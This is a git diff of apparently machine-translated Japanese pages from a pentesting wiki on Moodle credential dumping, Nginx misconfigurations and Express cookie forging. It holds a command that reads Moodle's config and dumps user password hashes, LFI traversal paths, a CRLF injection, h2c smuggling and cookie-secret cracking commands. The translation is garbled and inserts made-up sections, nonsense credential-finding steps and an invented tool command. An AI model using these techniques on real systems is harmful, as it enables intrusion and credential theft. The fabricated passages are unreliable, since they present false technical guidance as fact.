データベースの資格情報を見つける +データベースの資格情報を見つけるために、以下の手順を実行します。 + +1. ページのソースコードを調査します。特に、`
` タグ内の `action` 属性や `input` タグ内の `name` 属性に注目します。 + +2. フォームの送信先のURLを特定します。これは、`action` 属性の値です。 + +3. フォームの送信データを確認します。`input` タグの `name` 属性と `value` 属性をチェックします。特に、`username` や `password` といったフィールドがあるか確認します。 + +4. フォームの送信データを使用して、データベースの資格情報を特定します。`username` フィールドには、データベースのユーザー名が、`password` フィールドには、データベースのパスワードが入力される可能性があります。 + +以上の手順を実行することで、データベースの資格情報を見つけることができます。 ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` +### データベースから資格情報をダンプする -### Dump Credentials from database +To dump credentials from a database, you can use various techniques depending on the type of database you are targeting. Here are some common methods: +#### 1. SQL Injection + +If the target application is vulnerable to SQL injection, you can exploit this vulnerability to extract credentials from the database. By injecting malicious SQL queries, you can retrieve sensitive information such as usernames and passwords. + +#### 2. Brute-forcing Database Credentials + +In some cases, the database may have weak or default credentials. You can use brute-forcing techniques to guess the username and password combination and gain unauthorized access to the database. + +#### 3. Exploiting Misconfigured Database Permissions + +If the database has misconfigured permissions, you may be able to exploit this to access the credentials. For example, if the database allows public read access to certain tables or files, you can retrieve the credentials stored within them. + +#### 4. Exploiting Database Vulnerabilities + +Certain databases may have known vulnerabilities that can be exploited to extract credentials. It is important to keep track of the latest vulnerabilities and patches for the specific database you are targeting. + +Remember, unauthorized access to databases and extracting credentials without proper authorization is illegal. Always ensure you have the necessary permissions and legal authorization before attempting any database credential extraction techniques. ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` - -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -130,10 +174,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index 9fff61874..e96aa20cd 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -4,74 +4,103 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ -¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: +[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/)は、コロンビアのボゴタで2023年9月7日から8日まで開催される、10年以上の歴史を持つ国際的なサイバーセキュリティイベントです。このイベントは、スペイン語で最新の研究が発表される技術的な内容の高いイベントであり、世界中のハッカーや研究者を惹きつけています。 +以下のリンクで今すぐ登録し、この素晴らしいカンファレンスをお見逃しなく!: {% embed url="https://www.dragonjarcon.org/" %} -## Missing root location - +## ルートの場所が見つかりません ``` server { - root /etc/nginx; +root /etc/nginx; - location /hello.txt { - try_files $uri $uri/ =404; - proxy_pass http://127.0.0.1:8080/; - } +location /hello.txt { +try_files $uri $uri/ =404; +proxy_pass http://127.0.0.1:8080/; +} } ``` +`root`ディレクティブは、Nginxのルートフォルダを指定します。上記の例では、ルートフォルダは`/etc/nginx`であり、そのフォルダ内のファイルにアクセスできます。上記の設定には`/ (location / {...})`の場所はありませんが、`/hello.txt`の場所はあります。そのため、`root`ディレクティブはグローバルに設定され、`/`へのリクエストはローカルパス`/etc/nginx`にアクセスします。 -The root directive specifies the root folder for Nginx. In the above example, the root folder is `/etc/nginx` which means that we can reach files within that folder. The above configuration does not have a location for `/ (location / {...})`, only for `/hello.txt`. Because of this, the `root` directive will be globally set, meaning that requests to `/` will take you to the local path `/etc/nginx`. - -A request as simple as `GET /nginx.conf` would reveal the contents of the Nginx configuration file stored in `/etc/nginx/nginx.conf`. If the root is set to `/etc`, a `GET` request to `/nginx/nginx.conf` would reveal the configuration file. In some cases it is possible to reach other configuration files, access-logs and even encrypted credentials for HTTP basic authentication. +単純な`GET /nginx.conf`のリクエストは、`/etc/nginx/nginx.conf`に保存されているNginxの設定ファイルの内容を明らかにします。ルートが`/etc`に設定されている場合、`GET`リクエスト`/nginx/nginx.conf`は設定ファイルを明らかにします。一部の場合では、他の設定ファイル、アクセスログ、さらにはHTTP基本認証の暗号化された資格情報にアクセスすることができる可能性があります。 ## Alias LFI Misconfiguration -Inside the Nginx configuration look the "location" statements, if someone looks like: - +Nginxの設定内を見ると、「location」ステートメントがあります。もし、以下のようなものがあれば: ``` -location /imgs { - alias /path/images/; +location /imgs { +alias /path/images/; } ``` +以下の理由により、LFI(Local File Inclusion)の脆弱性が存在します。 -There is a LFI vulnerability because: +```markdown +- The application allows user-supplied input to be included in file paths without proper validation or sanitization. +- The file inclusion functionality does not restrict access to sensitive files or directories. +- The application does not implement any security measures to prevent directory traversal attacks. +``` +この脆弱性が悪用されると、攻撃者はアプリケーションのファイルシステム内の任意のファイルにアクセスできる可能性があります。これにより、機密情報の漏洩やシステムの完全な制御が可能になります。 ``` /imgs../flag.txt ``` +以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/pentesting-web/nginx.mdというファイルからのものです。 -Transforms to: +# Nginx +Nginxは、高性能で軽量なWebサーバーおよびリバースプロキシサーバーです。Nginxのペネトレーションテストには、さまざまなテクニックがあります。 + +## バージョンの特定 + +Nginxのバージョンを特定するために、以下の方法を使用できます。 + +1. レスポンスヘッダーを確認する:Nginxのレスポンスヘッダーには、バージョン情報が含まれている場合があります。例えば、`Server: nginx/1.14.0`のような形式です。 + +2. エラーページを確認する:Nginxのエラーページには、バージョン情報が含まれている場合があります。例えば、`nginx/1.14.0`のような形式です。 + +3. ディレクトリリスティングを利用する:Nginxのディレクトリリスティング機能を有効にしている場合、ディレクトリの一覧にバージョン情報が表示されることがあります。 + +## ディレクトリトラバーサルの検出 + +Nginxのディレクトリトラバーサルの脆弱性を検出するために、以下の手法を使用できます。 + +1. ディレクトリトラバーサル攻撃:`../`を使用して、ルートディレクトリ以外のディレクトリにアクセスしようとします。エラーメッセージやディレクトリリスティングの結果を確認して、攻撃が成功したかどうかを判断します。 + +2. 特殊な文字列の使用:特殊な文字列(例:`%2e%2e/`)を使用して、ディレクトリトラバーサル攻撃を試みます。エラーメッセージやディレクトリリスティングの結果を確認して、攻撃が成功したかどうかを判断します。 + +## ファイルの読み取り + +Nginxサーバー上のファイルを読み取るために、以下の手法を使用できます。 + +1. ディレクトリトラバーサル攻撃:`../`を使用して、目的のファイルにアクセスしようとします。エラーメッセージやファイルの内容を確認して、攻撃が成功したかどうかを判断します。 + +2. 特殊な文字列の使用:特殊な文字列(例:`%2e%2e/`)を使用して、ファイルにアクセスしようとします。エラーメッセージやファイルの内容を確認して、攻撃が成功したかどうかを判断します。 + +以上が、Nginxのペネトレーションテストに関する基本的な情報です。 ``` /path/images/../flag.txt ``` - -The correct configuration will be: - +正しい設定は次のとおりです: ``` -location /imgs/ { - alias /path/images/; +location /imgs/ { +alias /path/images/; } ``` +**したがって、Nginxサーバーを見つけた場合は、この脆弱性をチェックする必要があります。また、ファイル/ディレクトリのブルートフォースが奇妙な振る舞いをしている場合にも発見することができます。** -**So, if you find some Nginx server you should check for this vulnerability. Also, you can discover it if you find that the files/directories brute force is behaving weird.** - -More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) - -Accunetix tests: +詳細情報:[https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) +Accunetixテスト: ``` alias../ => HTTP status code 403 alias.../ => HTTP status code 404 @@ -79,19 +108,15 @@ alias../../ => HTTP status code 403 alias../../../../../../../../../../../ => HTTP status code 400 alias../ => HTTP status code 403 ``` +## 安全でない変数の使用 -## Unsafe variable use - -An example of a vulnerable Nginx configuration is: - +脆弱なNginxの設定の例は以下の通りです: ``` location / { - return 302 https://example.com$uri; +return 302 https://example.com$uri; } ``` - -The new line characters for HTTP requests are \r (Carriage Return) and \n (Line Feed). URL-encoding the new line characters results in the following representation of the characters `%0d%0a`. When these characters are included in a request like `http://localhost/%0d%0aDetectify:%20clrf` to a server with the misconfiguration, the server will respond with a new header named `Detectify` since the $uri variable contains the URL-decoded new line characters. - +HTTPリクエストの改行文字は\r(キャリッジリターン)と\n(改行)です。改行文字をURLエンコードすると、以下のような文字の表現 `%0d%0a` が得られます。これらの文字がミス構成のあるサーバーに含まれるリクエスト(例:`http://localhost/%0d%0aDetectify:%20clrf`)が送信されると、$uri変数にURLデコードされた改行文字が含まれるため、サーバーは新しいヘッダー `Detectify` を含んだレスポンスを返します。 ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -101,50 +126,42 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` +CRLFインジェクションとレスポンススプリッティングのリスクについては、[https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)で詳しく学ぶことができます。 -Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +### 任意の変数 -### Any variable - -In some cases, user-supplied data can be treated as an Nginx variable. It’s unclear why this may be happening, but it’s not that uncommon or easy to test for as seen in this [H1 report](https://hackerone.com/reports/370094). If we search for the error message, we can see that it is found in the [SSI filter module](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), thus revealing that this is due to SSI. - -One way to test for this is to set a referer header value: +いくつかの場合において、ユーザーからのデータがNginxの変数として扱われることがあります。なぜこれが起こるのかは明確ではありませんが、これは珍しいことではなく、簡単にテストすることもできません。[H1レポート](https://hackerone.com/reports/370094)で確認できるように、エラーメッセージを検索すると、[SSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365)で見つかることがわかります。したがって、これはSSIに起因するものであることが明らかになります。 +これをテストする方法の一つは、リファラーヘッダーの値を設定することです: ``` $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` +この設定ミスをスキャンし、Nginx変数の値を表示できる複数のインスタンスを見つけました。脆弱なインスタンスの数は減少しており、これは修正された可能性があります。 -We scanned for this misconfiguration and found several instances where a user could print the value of Nginx variables. The number of found vulnerable instances has declined which could indicate that this was patched. +## バックエンドの生のレスポンスの読み取り -## Raw backend response reading - -With Nginx’s `proxy_pass`, there’s the possibility to intercept errors and HTTP headers created by the backend. This is very useful if you want to hide internal error messages and headers so they are instead handled by Nginx. Nginx will automatically serve a custom error page if the backend answers with one. But what if Nginx does not understand that it’s an HTTP response? - -If a client sends an invalid HTTP request to Nginx, that request will be forwarded as-is to the backend, and the backend will answer with its raw content. Then, Nginx won’t understand the invalid HTTP response and just forward it to the client. Imagine a uWSGI application like this: +Nginxの`proxy_pass`を使用すると、バックエンドによって生成されたエラーやHTTPヘッダーをインターセプトすることができます。これは、内部エラーメッセージやヘッダーを隠すために非常に便利です。Nginxが代わりに処理するようになります。バックエンドがカスタムエラーページを返す場合、Nginxは自動的にそれを提供します。しかし、もしNginxがそれがHTTPレスポンスであることを理解できない場合はどうなるでしょうか? +クライアントが無効なHTTPリクエストをNginxに送信すると、そのリクエストはそのままバックエンドに転送され、バックエンドは生のコンテンツで応答します。その後、Nginxは無効なHTTPレスポンスを理解せずにクライアントに転送します。次のようなuWSGIアプリケーションを想像してみてください: ```python def application(environ, start_response): - start_response('500 Error', [('Content-Type', +start_response('500 Error', [('Content-Type', 'text/html'),('Secret-Header','secret-info')]) - return [b"Secret info, should not be visible!"] +return [b"Secret info, should not be visible!"] ``` - -And with the following directives in Nginx: - +そして、次のNginxのディレクティブを使用して: ``` http { - error_page 500 /html/error.html; - proxy_intercept_errors on; - proxy_hide_header Secret-Header; +error_page 500 /html/error.html; +proxy_intercept_errors on; +proxy_hide_header Secret-Header; } ``` +[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors)は、バックエンドが300より大きい応答ステータスを持つ場合、カスタムの応答を提供します。上記のuWSGIアプリケーションでは、Nginxによって`500エラー`がインターセプトされます。 -[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors) will serve a custom response if the backend has a response status greater than 300. In our uWSGI application above, we will send a `500 Error` which would be intercepted by Nginx. - -[proxy\_hide\_header](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header) is pretty much self explanatory; it will hide any specified HTTP header from the client. - -If we send a normal `GET` request, Nginx will return: +[proxy\_hide\_header](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header)は、指定されたHTTPヘッダーをクライアントから非表示にするためのものです。 +通常の`GET`リクエストを送信すると、Nginxは次のように返します: ``` HTTP/1.1 500 Internal Server Error Server: nginx/1.10.3 @@ -152,17 +169,13 @@ Content-Type: text/html Content-Length: 34 Connection: close ``` - -But if we send an invalid HTTP request, such as: - +しかし、無効なHTTPリクエストを送信する場合、次のようなものがあります。 ``` GET /? XTTP/1.1 Host: 127.0.0.1 Connection: close ``` - -We will get the following response: - +次の応答を受け取ります: ``` XTTP/1.1 500 Error Content-Type: text/html @@ -170,25 +183,23 @@ Secret-Header: secret-info Secret info, should not be visible! ``` +## merge\_slashesをoffに設定する -## merge\_slashes set to off +[merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes)ディレクティブはデフォルトで「on」に設定されており、2つ以上のスラッシュを1つに圧縮する仕組みです。したがって、`///`は`/`になります。Nginxがリバースプロキシとして使用され、プロキシされているアプリケーションがローカルファイルインクルージョンの脆弱性を持っている場合、リクエストに余分なスラッシュを使用することで攻撃の余地が生じる可能性があります。これについては、[Danny RobinsonとRotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)によって詳しく説明されています。 -The [merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes) directive is set to “on” by default which is a mechanism to compress two or more forward slashes into one, so `///` would become `/`. If Nginx is used as a reverse-proxy and the application that’s being proxied is vulnerable to local file inclusion, using extra slashes in the request could leave room for exploit it. This is described in detail by [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). +私たちは、`merge_slashes`が「off」に設定されているNginxの設定ファイルが33個見つかりました。 -We found 33 Nginx configuration files with `merge_slashes` set to “off”. - -## default is not specified for map directive - -It looks like common case when **`map` is used for some kind of authorization control**. Simplified example could look like: +## mapディレクティブにデフォルトが指定されていません +これは、**`map`が何らかの認証制御に使用されている一般的なケース**のようです。簡単な例は次のようになります: ``` http { ... - map $uri $mappocallow { - /map-poc/private 0; - /map-poc/secret 0; - /map-poc/public 1; - } +map $uri $mappocallow { +/map-poc/private 0; +/map-poc/secret 0; +/map-poc/public 1; +} ... } ``` @@ -196,90 +207,84 @@ http { ``` server { ... - location /map-poc { - if ($mappocallow = 0) {return 403;} - return 200 "Hello. It is private area: $mappocallow"; - } +location /map-poc { +if ($mappocallow = 0) {return 403;} +return 200 "Hello. It is private area: $mappocallow"; +} ... } ``` +[マニュアルによると](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html): -[According to the manual](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html): +> デフォルト値\ +> ソース値が指定されたバリアントのいずれとも一致しない場合に設定される結果の値です。デフォルトが指定されていない場合、デフォルトの結果の値は空の文字列になります。 -> default value\ -> sets the resulting value if the source value matches none of the specified variants. When default is not specified, the default\ -> resulting value will be an empty string. +`default`値を忘れることは簡単です。したがって、**悪意のある者は単純に`/map-poc`内の存在しないケースにアクセスすることでこの「認証制御」をバイパス**することができます。例えば、`https://targethost.com/map-poc/another-private-area`のようなものです。 -It is easy to forget about `default` value. So **malefactor can bypass this "authorization control"** simply accessing a **non existent case inside `/map-poc`** like `https://targethost.com/map-poc/another-private-area`. +## NginxのDNSスプーフィング -## DNS Spoofing Nginx - -According to this post: [http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) **It might be possible to spoof DNS records** to Nginx if you **know the DNS server Nginx** is using (and you can intercept somehow the communication, so this is **not valid if 127.0.0.1** is used) and the **domain it's asking**. - -Nginx can specify a DNS server to use with: +この記事によると:[http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)、もしもNginxが使用しているDNSサーバーを**知っている**(そして通信を傍受することができるので、これは**127.0.0.1**が使用されている場合には有効ではありません)場合、そしてNginxが**問い合わせているドメイン**を知っている場合、Nginxに対してDNSレコードをスプーフィングすることが可能です。 +Nginxは次のように使用するDNSサーバーを指定できます: ``` resolver 8.8.8.8; ``` +## `proxy_pass`および`internal`ディレクティブ -## `proxy_pass` and `internal` directives +**`proxy_pass`**ディレクティブは、内部または外部の他のサーバーに対するリクエストを内部的にリダイレクトするために使用できます。\ +**`internal`**ディレクティブは、Nginxに対して、そのロケーションには内部からのアクセスのみが可能であることを明示するために使用されます。 -The **`proxy_pass`** directive can be used to **redirect internally requests to other servers** internal or external.\ -The **`internal`** directive is used to make it clear to Nginx that the **location can only be accessed internally**. - -The use of these directives **isn't a vulnerability but you should check how are them configured**. +これらのディレクティブの使用は、脆弱性ではありませんが、それらがどのように設定されているかを確認する必要があります。 ## proxy\_set\_header Upgrade & Connection -If the nginx server is configured to pass the Upgrade and Connection headers an [**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) could be performed to access protected/internal endpoints. +nginxサーバーがUpgradeおよびConnectionヘッダーを渡すように設定されている場合、[**h2cスマグリング攻撃**](../../pentesting-web/h2c-smuggling.md)を実行して、保護された/内部のエンドポイントにアクセスすることができます。 {% hint style="danger" %} -This vulnerability would allow an attacker to **stablish a direct connection with the `proxy_pass` endpoint** (`http://backend:9999` in this case) that whose content is not going to be checked by nginx. +この脆弱性により、攻撃者は`proxy_pass`エンドポイント(この場合は`http://backend:9999`)との直接接続を確立することができますが、その内容はnginxによってチェックされません。 {% endhint %} -Example of vulnerable configuration to steal `/flag` from [here](https://bishopfox.com/blog/h2c-smuggling-request): - +以下は、[ここ](https://bishopfox.com/blog/h2c-smuggling-request)から`/flag`を盗むための脆弱な設定の例です。 ``` server { - listen 443 ssl; - server_name localhost; +listen 443 ssl; +server_name localhost; - ssl_certificate /usr/local/nginx/conf/cert.pem; - ssl_certificate_key /usr/local/nginx/conf/privkey.pem; +ssl_certificate /usr/local/nginx/conf/cert.pem; +ssl_certificate_key /usr/local/nginx/conf/privkey.pem; - location / { - proxy_pass http://backend:9999; - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection $http_connection; - } +location / { +proxy_pass http://backend:9999; +proxy_http_version 1.1; +proxy_set_header Upgrade $http_upgrade; +proxy_set_header Connection $http_connection; +} - location /flag { - deny all; - } +location /flag { +deny all; +} ``` - {% hint style="warning" %} -Note that even if the `proxy_pass` was pointing to a specific **path** such as `http://backend:9999/socket.io` the connection will be stablished with `http://backend:9999` so you can **contact any other path inside that internal endpoint. So it doesn't matter if a path is specified in the URL of proxy\_pass.** +`proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していた場合でも、接続は`http://backend:9999`と確立されるため、その内部エンドポイント内の他のパスにアクセスすることができます。したがって、proxy\_passのURLにパスが指定されていても問題ありません。 {% endhint %} -## Try it yourself +## 自分で試してみる -Detectify has created a GitHub repository where you can use Docker to set up your own vulnerable Nginx test server with some of the misconfigurations discussed in this article and try finding them yourself! +Detectifyは、この記事で説明されているいくつかの設定ミスを持つ脆弱なNginxテストサーバーをDockerを使用してセットアップできるGitHubリポジトリを作成しました。見つけてみてください! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) -## Static Analyzer tools +## 静的解析ツール ### [GIXY](https://github.com/yandex/gixy) -Gixy is a tool to analyze Nginx configuration. The main goal of Gixy is to prevent security misconfiguration and automate flaw detection. +GixyはNginxの設定を分析するツールです。Gixyの主な目標は、セキュリティの設定ミスを防止し、欠陥の検出を自動化することです。 ### [Nginxpwner](https://github.com/stark0de/nginxpwner) -Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities. +Nginxpwnerは、一般的なNginxの設定ミスと脆弱性を探すためのシンプルなツールです。 -## References +## 参考文献 * [**https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/**](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) diff --git a/network-services-pentesting/pentesting-web/nodejs-express.md b/network-services-pentesting/pentesting-web/nodejs-express.md index 024515b2d..7b67690f3 100644 --- a/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/network-services-pentesting/pentesting-web/nodejs-express.md @@ -2,36 +2,82 @@ ## Cookie Signature -The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is a utility for automating the testing and re-signing of Express.js cookie secrets. - -### Single cookie with a specific name +ツール[https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster)は、Express.jsのクッキーシークレットのテストと再署名を自動化するためのユーティリティです。 +### 特定の名前を持つ単一のクッキー ``` $ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session ``` +### カスタムワードリスト -### Custom wordlist +You can create a custom wordlist to use during your penetration testing activities. A wordlist is a file that contains a list of words, passwords, or phrases that can be used for various purposes, such as password cracking or brute-forcing. +To create a custom wordlist, follow these steps: + +1. **Gather relevant information**: Before creating a wordlist, gather as much information as possible about the target. This can include details about the target's industry, employees, interests, or any other information that might be useful in generating potential passwords or phrases. + +2. **Generate word combinations**: Use the gathered information to generate word combinations that are likely to be used as passwords. This can include combinations of names, dates, common phrases, or any other relevant information. + +3. **Include common passwords**: Include common passwords that are often used by individuals. These can be obtained from publicly available password lists or by researching common password patterns. + +4. **Add variations**: Create variations of the words or phrases by adding numbers, special characters, or changing the case (e.g., uppercase, lowercase, or mixed case). + +5. **Remove duplicates**: Remove any duplicate entries from the wordlist to avoid redundancy. + +6. **Organize the wordlist**: Organize the wordlist in a structured manner, such as by category or relevance, to make it easier to navigate and use during penetration testing. + +Remember to always use custom wordlists responsibly and within the scope of your authorized penetration testing activities. ``` $ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst ``` +### バッチモードを使用して複数のクッキーをテストする -### Test multiple cookies using batch mode +In batch mode, you can test multiple cookies simultaneously by providing a list of cookies in a file. This can be useful when you want to test the security of multiple cookies at once. +To test multiple cookies using batch mode, follow these steps: + +1. Create a text file and list the cookies you want to test, one per line. For example, you can create a file called `cookies.txt` and add the following cookies: + +``` +cookie1=value1 +cookie2=value2 +cookie3=value3 +``` + +2. Save the file and run the batch mode command, specifying the file containing the cookies: + +``` +$ hacktricks cookies -b cookies.txt +``` + +3. The tool will test each cookie in the file and provide the results. You can analyze the output to identify any security vulnerabilities or misconfigurations associated with the cookies. + +By testing multiple cookies in batch mode, you can save time and efficiently assess the security of your web application's cookie-based authentication system. ``` $ cookie-monster -b -f cookies.json ``` +### カスタムワードリストを使用して、バッチモードで複数のクッキーをテストする -### Test multiple cookies using batch mode with a custom wordlist +In order to test multiple cookies using batch mode with a custom wordlist, you can follow these steps: +1. Create a custom wordlist containing the possible values for the cookies you want to test. This wordlist should include different combinations of characters, numbers, and symbols that could be used in the cookies. + +2. Use a tool or script that supports batch mode testing, such as Burp Suite or OWASP ZAP. These tools allow you to automate the testing process and provide options for using custom wordlists. + +3. Configure the tool to use the custom wordlist for testing the cookies. This can usually be done through the tool's settings or configuration options. + +4. Start the batch mode testing and let the tool iterate through the wordlist, testing each value against the cookies. The tool will automatically send requests with different cookie values and analyze the responses. + +5. Monitor the tool's output or logs to identify any successful matches or potential vulnerabilities. The tool will usually indicate if a cookie value is valid or if it triggers any unexpected behavior. + +By using batch mode testing with a custom wordlist, you can efficiently test multiple cookies and identify any potential security issues or vulnerabilities. ``` $ cookie-monster -b -f cookies.json -w custom.lst ``` +### 新しいクッキーをエンコードして署名する -### Encode and sign a new cookie - -if you know the secret you can sign a the cookie. - +もし秘密を知っている場合、クッキーに署名を付けることができます。 ``` $ cookie-monster -e -f new_cookie.json -k secret ``` + diff --git 